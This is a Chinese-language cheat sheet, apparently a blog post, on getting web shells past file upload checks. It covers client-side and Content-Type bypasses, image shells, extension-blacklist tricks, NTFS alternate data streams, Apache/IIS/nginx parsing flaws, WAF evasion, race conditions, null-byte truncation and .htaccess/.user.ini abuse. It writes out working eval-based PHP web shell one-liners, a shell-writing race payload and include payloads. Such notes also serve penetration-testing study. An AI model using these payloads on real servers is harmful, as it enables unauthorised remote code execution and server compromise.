文件上传(解析)漏洞
- 一般是指上传web脚本文件能够被服务器解析的漏洞
- 利用条件:
- 上传文件后所在的目录在Web容器可以覆盖到的地方,可以被Web容器解释执行
- 能够访问到该文件
- 上传后的文件保持功能完整
突破文件上传检测
1. 客户端检测
- 特点:在点击上传的时,客户端没有向服务器发送任何消息之前,就提示上传文件非法
- 解决:
- 禁用浏览器JavaScript脚本
- 先改成合法后缀名,在发送过程中截包,修改会正常后缀
2. Content-Type检测文件类型
- 原理:服务器对HTTP报头中的
Content-Type字段进行检测 - 解决:使用截包工具对
Content-Type字段进行修改
3. 文件内容检测
解决:截包之后添加伪造的文件头或直接制作图片马
| 类型 | 幻数 |
|---|---|
| jpg | FFD8FFE000104A464946 |
| gif | 474946383961 |
| png | 89504E47 |
其中gif的幻数最为简单,直接使用ASCII值GIF89a即可
图片马:copy normal.jpg /b + test.php /a test.jpg
4. 后缀名黑名单
- 利用黑名单的漏网之鱼,利用操作系统文件命名规则,利用Web服务组件解析漏洞
-
大小写混用
pHp、aSp之类(Linux下也可用) -
Windows会自动去掉不符合规则符号后面的内容
test.asp.
test.asp(空格)
test.php_
test.php:1.jpg
test.php::$DATA
test.php::$DATA\1.jpg 生成1.jpg
-
利用NTFS ADS特性:使用
echo ^<?php @eval(request[caidao])?^> > index.php:hidden.jpg生成一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,<?php include(‘index.php:hidden.jpg’)?>,这样子就可以正常解析我们的一句话了。 -
能被解析的不常见扩展名:
jsp:jspx、jspf、jspsasp:asa、cer、aspx、cdx、ashx、htr、asaxphp:php3、php4、php5、php7、phpt、phtmlexe:exee -
利用PHP和Windows环境的叠加性,存在以下对应关系,问题出在
move_uploaded_file函数对文件名的解析符号 对应正则符号 " . > ? < * ![1568558895496]()
5. 解析漏洞:

5.1 Apache
-
Apache的解析规则为:从右至左依次尝试,直至识别
eg: 1.php.xxx -
换行解析:2.4.0~2.4.29版本中的漏洞
1.php\0x0A会被按照PHP进行解析
5.2 IIS
- 畸形目录解析(<=6.0):
.asp结尾的目录下面,被IIS当做网页解析/xxxxx.asp/xxxxx.jpg - 分号文件解析:IIS解析时忽略分号后面的部分
test.asp;.jpg - 开启fast-cgi引起的畸形解析:在文件路径后面加上
/xx.php会将原来的文件解析成php文件。xxx.jpg/.php或者xxx.jpg/不存在.php
5.3 nginx
-
在fast-cgi引起的畸形解析(和IIS一样)
-
空字节代码执行:
xxx.jpg%00.php -
文件名逻辑漏洞:
/test.jpg \0.php中间有空格 -
路径穿越(配置不当):可以通过访问
/files../的方式穿越路径//正确配置 location /files/ { alias /home/; } //错误配置 location /files{ alias /home/; }
6. 配合文件包含
- 校验规则检测脚本文件中是否含有木马
- 上传一个内容为木马的其他类型文件
- 上传脚本文件,内容为引用之前的文件
PHP
<?php Include("上传的txt文件路径");?>
ASP
<!--#include file="上传的txt文件路径" -->
JSP
<jsp:inclde page="上传的txt文件路径"/>
<%@include file="上传的txt文件路径"%>
7. 对于一些WAF
7.1 垃圾数据
构造超大文件,前面为垃圾内容,后面为真正脚本内容
7.2 利用非预期HTTP方法
-
服务器对POST方法上传的文件进行过滤
-
使用GET方法上传
7.3 非预期字符
- 删除报文中的
Conten-Type字段 - 在
boundary=后增加空格或其他字符 - 超长文件名
shell.asp;火火火火火火火火火火火火火火火火火火火火火火火火火火火火.jpg
8. 文件加载检测
调用API函数进行加载测试,常见的是图像渲染测试、二次渲染
- 图像渲染绕过:使用代码注入绕过
- 在图片文件空白区域填充代码
- 二次渲染:攻击加载器本身
- 找到经过页面所调用的库转化后没有改变的部分,将相应部分改为代码
9. 条件竞争
目前看到两种思路:
- 首先上传一个写Shell的php
<?php fputs(fopen('shell.php',w),'<?php @eval($_POST["p"]);?>');?>,while1循环访问该文件,持续上传,直到竞争完成文件创建。 - 循环上传一句话,持续尝试访问该页面。
10. 00截断
-
两种情况:一种是
%00,一种是0x00 -
前者用在GET传参,
%00作为URL会被URL解码,对应的是\0 -
后者用于POST,POST传送的字符不会经过URL解码,所以需要将其改为十六进制的
0x00 -
00截断的目的在于,(php基于C)当PHP中的函数将
\0视为字符串的终止,因此只有当文件名变量可控并且不会进行去空字符操作的时候,同时有函数调用这个字符串的时候才有效。
11. 配置文件
11.1 httpd.conf
-
httpd.conf是apache的配置文件-
如果其中包含
AddHandler php5-script .php只要文件名中包含.php就会以php文件执行AddHandler说明什么样的扩展名使用什么样的程序来处理,描述的是扩展名与处理程序之间的关系 -
如果其中包含
AddType application/x-httpd-php .jpg即使文件扩展为.jpg也会按照php执行,该选项是与类型表相关的,描述的是扩展名与文件类型之间的关系,在客户端与服务端协商的时候,客户端会描述需要什么类型的字段,服务端调取相应后缀名的文件。 -
也可以指定某些文件按照指定的格式解析
<FilesMatch "evil.jpg"> SetHandler application/x-httpd-php </FileMatch>
-
-
但是
DocumentRoot设置会影响到作用效果DocumentRoot "D:\phpStudy\PHPTutorial\WWW\"这样的话里层文件夹可以覆盖到DocumentRoot "D:\phpStudy\PHPTutorial\WWW"而这样只能覆盖到www文件夹
11.2 .htaccess
-
作用于当前目录及其子目录的配置文件
-
生效要求(httpd.conf配置):
AllowOverride AllLoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
-
通过向
.htaccess文件-
写入
AddType application/x-httpd-php xxx即可将xxx后缀文件解析为php -
写入如下配置,可以将shell.jpg 解析为php
<FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch>
-
-
php的
.htaccess文件中,匹配文件的语句是正则语句,.(点)在正则中表示任意字符,*在正则中表示前面的字符重复0次或多次,这里识别正则不是通配符,比如说你在引号里写1.jpg,实际上12jpg也能解析。<FilesMatch "\.php$"> SetHandler application/x-httpd-php </FilesMatch>
11.3 .user.ini
-
通过
.user.ini绕过文件上传过滤(或者说叫解析漏洞),与.htaccess文件利用类似,但是user.ini文件和htaccess相比:在修改后不用重启服务器,只需要等待刷新时间即可 -
在上传的
.user.ini文件中写入auto_prepend_file=01.gif这样就可以在该目录下的所有php文件中包含01.gif


浙公网安备 33010602011771号